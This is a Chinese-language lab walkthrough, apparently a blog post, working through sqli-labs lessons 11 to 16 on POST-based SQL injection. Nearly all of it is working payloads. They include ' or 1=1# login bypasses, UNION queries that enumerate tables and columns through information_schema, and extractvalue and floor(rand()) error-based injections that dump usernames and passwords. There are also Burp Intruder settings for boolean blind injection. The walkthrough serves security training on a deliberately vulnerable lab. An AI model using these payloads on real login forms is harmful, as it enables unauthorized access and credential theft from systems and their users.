Less-11-POST-Error Based-Single quotes-String
username栏输入一个单引号报错:

说明查询语句有username='$_POST[username]' and password='$_POST[password]',查询有两个字段
username栏输入
' or 1=1#
提交,绕过登陆验证,并且知道两处可以回显。

构造查询数据库名:
' union select database(),@@version#

查数据表,username栏输入:
' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

查users表的列名,输入:
' union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

Less-12-POST-Error Based-Double quotes-String-with twist
username栏输入双引号报错:

查询语句里是用括号和双引号包裹$_POST参数的。
输入:") or 1=1#绕过
查数据库名:") union select database(),@@version#
查数据表名:
") union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
方法同Less-11类似,只是将单引号换成双引号外加括号。
省略下面的步骤……
Less-13-POST-Double Injection-Single quotes-String-with twist
输入单引号报错,从报错里看到参数是用单引号和括号包裹的。
输入:') or 1=1#万能密码绕过。
输入') union select database(),2#能绕过,但不回显。
尝试报错注入语句,输入:
') union select count(*),concat('~',(select database()),'~',floor(rand(0)*2)) a from information_schema.tables group by a#

得到数据库名。
查数据表数量,这里用extractvalue函数报错:
') and extractvalue(1,concat(0x5c,(select count(table_name) from information_schema.tables where table_schema='security'),0x5c))#

查数据表名:
') and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x5c))#
更改limit子句查出所有表名。

查users表的列数量:
') and extractvalue(1,concat(0x5c,(select count(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x5c))#

查users表的列名:
') and extractvalue(1,concat(0x5c,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x5c))#

查数据:
') and extractvalue(1,concat(0x5c,(select concat(username,'~',password) from security.users limit 1,1),0x5c))#
Less-14-POST-Double Injection-Double quotes-String-with twist
Less-14同Less-13只有双引号的差别。
Less-15-POST-Blind-Boolean/time Based-Single qoutes
POST的基于布尔/时间盲注,这里可以使用burp的intruder模块进行盲注。
在页面上测试输入:' or 1=1#可以绕过,
用burp抓包,右键send to intruder。
查数据库名:
positions栏里的Attack type设置为Cluster bomb,
uname参数输入:' or ascii(substr(database(),1,1))=97#
设置payload位置:

payloads栏里payloads set1和2的payload type都设置为Numbers,
payload Options设置payload1 from 1 to 10 step 1
payload2 from 97 to 130 step 1
点击start attack,最后在结果里查找length不同的即为正确的payload

暴数据表:


同理可以暴破字段名,数据等。
具体盲注技巧可以参考Less7-10
Less-16-POST-Blind-Boolean/Time Based-Double quotes
Less-16方法同Less-15类似,采用布尔盲注或时间盲注,并换成双引号。
本文深入探讨了SQL注入攻击的各种类型,包括基于错误的单引号和双引号字符串注入、基于布尔和时间盲注的单双引号字符串注入,以及如何利用这些漏洞获取数据库信息,如数据库名、数据表名、列名和数据。通过实例展示了如何构造SQL查询语句来暴露数据库结构和内容。

1326

被折叠的 条评论
为什么被折叠?



